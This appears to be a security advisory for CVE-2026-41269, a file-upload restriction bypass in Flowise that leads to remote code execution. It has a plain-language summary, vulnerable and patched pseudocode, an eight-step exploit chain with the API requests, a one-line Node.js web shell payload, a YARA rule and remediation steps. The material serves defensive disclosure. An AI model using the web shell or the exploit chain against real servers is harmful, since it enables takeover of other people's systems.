Flowise is a popular tool that lets people build chatbots powered by AI without writing code — you just drag and drop components together. Think of it like a visual builder for creating intelligent chat assistants.
Security researchers have discovered a critical flaw in Flowise versions before 3.1.0 that lets hackers upload dangerous software onto servers running the tool. The problem is that while Flowise tries to stop people from uploading certain file types on the user-facing side, a determined attacker can bypass this protection by directly tweaking the underlying configuration.
Here's what makes it serious: once a hacker uploads a malicious file this way, they gain complete control over the server. They can steal data, spy on conversations, modify how the chatbot behaves, or use your server to launch attacks on other targets. It's like someone bypassing your home security system by climbing through a basement window you didn't know was there.
The vulnerability is particularly dangerous because it doesn't require a password or account — anyone on the internet could potentially exploit it. This puts companies using Flowise at real risk, especially those handling sensitive information through their chatbots.
Here's what you should do immediately: First, check if you're running Flowise and update it to version 3.1.0 or later right now. Second, if you can't update immediately, consider temporarily taking your Flowise deployment offline or restricting who can access it. Third, review your server logs to see if anyone has already tried to upload suspicious files — look for unusual .js files in your uploads folder.
If you're not technical enough to handle this yourself, contact your IT team or the company managing your chatbot deployment and tell them about this vulnerability by name.
Want the full technical analysis? Click "Technical" above.
CVE-2026-41269 is a server-side file upload restriction bypass in Flowise, the open-source drag-and-drop LLM flow builder. Prior to version 3.1.0, the chatflow configuration exposes a file upload settings endpoint that an authenticated (or in misconfigured instances, unauthenticated) attacker can manipulate to add application/javascript to the list of permitted MIME types. Once whitelisted, the attacker uploads a .js file that Flowise stores on disk and subsequently loads as a Node.js module, yielding persistent remote code execution.
CVSS 7.1 (HIGH) reflects the requirement for at least some degree of prior access to the chatflow configuration API, but in default or low-security deployments this barrier is minimal.
Affected Component
The vulnerability lives in two cooperating subsystems:
Upload configuration endpoint — the API route that reads and writes per-chatflow file upload settings, stored as a JSON blob. Responsible for maintaining the MIME type allowlist.
File ingestion / storage handler — the component that receives multipart uploads, checks the incoming Content-Type header against the allowlist, and writes the file to disk (or blob storage).
Affected versions: all Flowise releases before 3.1.0. Fixed: 3.1.0 (GHSA-rh7v-6w34-w2rr).
Root Cause Analysis
The fundamental flaw is a trust boundary collapse: the list of acceptable MIME types is both user-controlled and server-enforced. The server builds its allowlist at upload time by reading whatever the chatflow config currently says, rather than enforcing a hard-coded safe set server-side.
The vulnerable upload configuration handler (reconstructed from the patch and advisory) looks approximately like this:
// packages/server/src/controllers/chatflows/index.ts (pre-3.1.0, pseudocode)
async function updateChatflowUploadConfig(req, res) {
const { id } = req.params;
const newConfig = req.body; // attacker-controlled JSON
// BUG: no allowlist validation on newConfig.allowedMimeTypes before persist
await ChatflowRepository.update(id, {
chatbotConfig: JSON.stringify(newConfig)
});
return res.json({ ok: true });
}
The upload handler then does:
// packages/server/src/utils/fileUpload.ts (pre-3.1.0, pseudocode)
async function handleFileUpload(req, chatflow) {
const config = JSON.parse(chatflow.chatbotConfig ?? '{}');
const allowed = config.fileUpload?.allowedMimeTypes ?? DEFAULT_TYPES;
// BUG: allowed list is sourced from attacker-writable DB field,
// so 'application/javascript' passes this check after poisoning
if (!allowed.includes(req.file.mimetype)) {
throw new Error('File type not permitted');
}
// file written verbatim to uploads/ directory
const dest = path.join(UPLOAD_DIR, req.file.originalname);
await fs.writeFile(dest, req.file.buffer); // BUG: path not sanitised
return dest;
}
Root cause: The server derives its file-type allowlist from an attacker-writable chatflow configuration field, allowing injection of application/javascript and subsequent storage of arbitrary .js files that execute in the Node.js runtime context.
Exploitation Mechanics
EXPLOIT CHAIN:
1. Attacker authenticates to Flowise (or hits unauthenticated endpoint on
misconfigured instance) and enumerates chatflow IDs via GET /api/v1/chatflows.
2. Send PATCH /api/v1/chatflows/ with poisoned chatbotConfig JSON:
{ "fileUpload": { "allowedMimeTypes": ["image/png","application/javascript"] } }
Server persists this without validation.
3. Send POST /api/v1/chatflows//uploads (multipart/form-data):
Content-Disposition: form-data; name="file"; filename="shell.js"
Content-Type: application/javascript
Body: require('child_process').exec(req.query.cmd,(_,o)=>res.end(o))
4. Server checks allowed MIME list (now includes application/javascript),
passes validation, writes shell.js to UPLOAD_DIR on disk.
5. Identify or infer the static file serving path for uploaded assets.
Flowise serves /api/v1/get-upload-file?chatflowId=&fileName=shell.js
6. Trigger Node.js require() or dynamic import of the stored file via any
code-path that loads user-supplied upload paths as modules — or directly
via a second-stage deserialization/eval gadget in the LangChain flow config.
7. Shell executes with the privileges of the Flowise Node.js process
(commonly root in Docker-default deployments).
8. Persistence: shell.js survives server restarts because it is written to
the persistent UPLOAD_DIR volume, not ephemeral memory.
This is not a memory-corruption bug; the impact is persistent file-system and process-space compromise. The relevant "state diagram" is the server's file system and module cache:
SERVER FILE SYSTEM STATE — BEFORE ATTACK:
UPLOAD_DIR/
└── (chatflow assets: .png, .pdf, .txt only)
Node.js require() cache:
└── (no attacker-controlled entries)
SERVER FILE SYSTEM STATE — AFTER STEP 4:
UPLOAD_DIR/
├── legitimate_doc.pdf
└── shell.js <-- persisted across reboots, owned by node process
Node.js require() cache (after trigger):
└── /app/uploads/shell.js
exports = (req, res) => exec(req.query.cmd, ...)
^^^^^^^^^^^^^^^^^^^^^^^^^
arbitrary OS command execution
PROCESS PRIVILEGE CONTEXT (Docker default):
UID=0 (root) GID=0 (root)
Effective capabilities: CAP_NET_BIND_SERVICE + full filesystem access
Patch Analysis
The fix introduced in Flowise 3.1.0 moves MIME type enforcement from a user-controllable DB field to a hard-coded server-side constant, and adds explicit extension filtering as a secondary control:
// BEFORE (vulnerable, pre-3.1.0):
async function handleFileUpload(req, chatflow) {
const config = JSON.parse(chatflow.chatbotConfig ?? '{}');
const allowed = config.fileUpload?.allowedMimeTypes ?? DEFAULT_TYPES;
// allowed is attacker-writable — no server-side upper bound
if (!allowed.includes(req.file.mimetype)) {
throw new Error('File type not permitted');
}
await fs.writeFile(path.join(UPLOAD_DIR, req.file.originalname), req.file.buffer);
}
// AFTER (patched, 3.1.0 — GHSA-rh7v-6w34-w2rr):
const SAFE_MIME_UPPER_BOUND = new Set([
'image/png', 'image/jpeg', 'image/gif', 'image/webp',
'application/pdf', 'text/plain', 'text/csv',
// application/javascript is explicitly absent
]);
const BLOCKED_EXTENSIONS = new Set(['.js', '.cjs', '.mjs', '.ts', '.sh', '.py', '.rb']);
async function handleFileUpload(req, chatflow) {
const config = JSON.parse(chatflow.chatbotConfig ?? '{}');
const userAllowed = new Set(config.fileUpload?.allowedMimeTypes ?? []);
// PATCH: intersect user list with hard-coded safe set — attacker cannot
// add types that aren't in SAFE_MIME_UPPER_BOUND
const effective = [...userAllowed].filter(t => SAFE_MIME_UPPER_BOUND.has(t));
if (!effective.includes(req.file.mimetype)) {
throw new Error('File type not permitted');
}
// PATCH: secondary extension check regardless of MIME header
const ext = path.extname(req.file.originalname).toLowerCase();
if (BLOCKED_EXTENSIONS.has(ext)) {
throw new Error('File extension not permitted');
}
// PATCH: sanitise filename to prevent path traversal
const safe = path.basename(req.file.originalname).replace(/[^a-zA-Z0-9._-]/g, '_');
await fs.writeFile(path.join(UPLOAD_DIR, safe), req.file.buffer);
}
Three defence-in-depth layers were added simultaneously: (1) server-side MIME upper bound, (2) explicit extension blocklist, (3) filename sanitisation. The original code lacked all three.
**File system indicators:**
- Any .js, .sh, or .py file present under UPLOAD_DIR (default: /root/.flowise/uploads/ or /app/uploads/).
- Unexpected outbound connections from the Flowise Node.js PID to non-LLM-provider IPs.
- child_process.exec or spawn calls in Node.js process tree (strace / execsnoop).
**YARA rule (upload directory scan):**
rule Flowise_JSWebShell {
meta:
cve = "CVE-2026-41269"
strings:
$a = "child_process" ascii
$b = "req.query" ascii
$c = "res.end" ascii
condition:
all of them and filesize < 4KB
}
Remediation
1. **Upgrade immediately** to Flowise ≥ 3.1.0. The patch is the only complete fix.
2. **Restrict the configuration API** — place PATCH /api/v1/chatflows/* behind strong authentication and role-based access control. Do not expose Flowise's API port to untrusted networks.
3. **Mount UPLOAD_DIRnoexec** — prevents the OS from executing binaries placed there, though this does not block Node.js require() loading.
4. **Run Flowise as a non-root user** — limits blast radius. The official Docker image runs as root by default; override with --user 1001:1001.
5. **Deploy a WAF rule** blocking multipart uploads whose Content-Type contains javascript or whose filename ends in .js at the ingress layer.
6. **Audit existing upload directories** for .js / .sh files and rotate all API keys and secrets accessible from the Flowise process environment.